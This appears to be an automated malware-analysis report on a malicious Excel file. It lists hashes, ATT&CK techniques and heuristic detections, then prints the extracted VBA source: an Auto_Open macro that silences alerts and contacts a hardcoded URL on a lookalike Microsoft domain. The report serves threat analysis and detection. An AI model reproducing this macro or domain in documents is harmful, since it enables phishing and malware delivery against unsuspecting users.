Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 dd4cb40acbdd7ec4…

MALICIOUS

Office (OOXML)

17.3 KB Created: 2017-12-21 14:23:08 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-13
MD5: 76372baab83f6abaac32d9eedd70f780 SHA-1: 0efae9d5bef122481f6ec4efdf7ac49b4355b311 SHA-256: dd4cb40acbdd7ec432e97e83c410e9c63a4b10dd14aff45eeda40b9c00e82fa9
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel document containing a VBA macro that executes automatically upon opening (Auto_Open). The script uses CreateObject to instantiate a WinHttpRequest object and downloads a payload from the hardcoded URL. This indicates a macro-based downloader designed to deliver a second-stage malicious payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://docs.microsoft.spreadsheetsd1ru9yszfq7v20gufxika4aflhsdg9bshu1w54.microsoft-online.co/api/Analytics/Macro?iid=806fad64-db7a-4255-ae12-eb0b875a526c In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1202 bytes
SHA-256: 84925dcd2be9cb046fa797097fa97dc16fba9305f591ab22f792bb9dcff5e045
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
            Application.DisplayAlerts = False
            Dim result As String
            Dim myURL As String
            Dim winHttpReq As Object
            Set winHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
            myURL = "http://docs.microsoft.spreadsheetsd1ru9yszfq7v20gufxika4aflhsdg9bshu1w54.microsoft-online.co/api/Analytics/Macro?iid=806fad64-db7a-4255-ae12-eb0b875a526c"
            winHttpReq.Open "GET", myURL, False
            winHttpReq.Send
            result = winHttpReq.responseText
            End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes
SHA-256: d7f1d56b01cc6dbbf07910828b356fcf4653a155d1606e5a8ad6759c4a24f430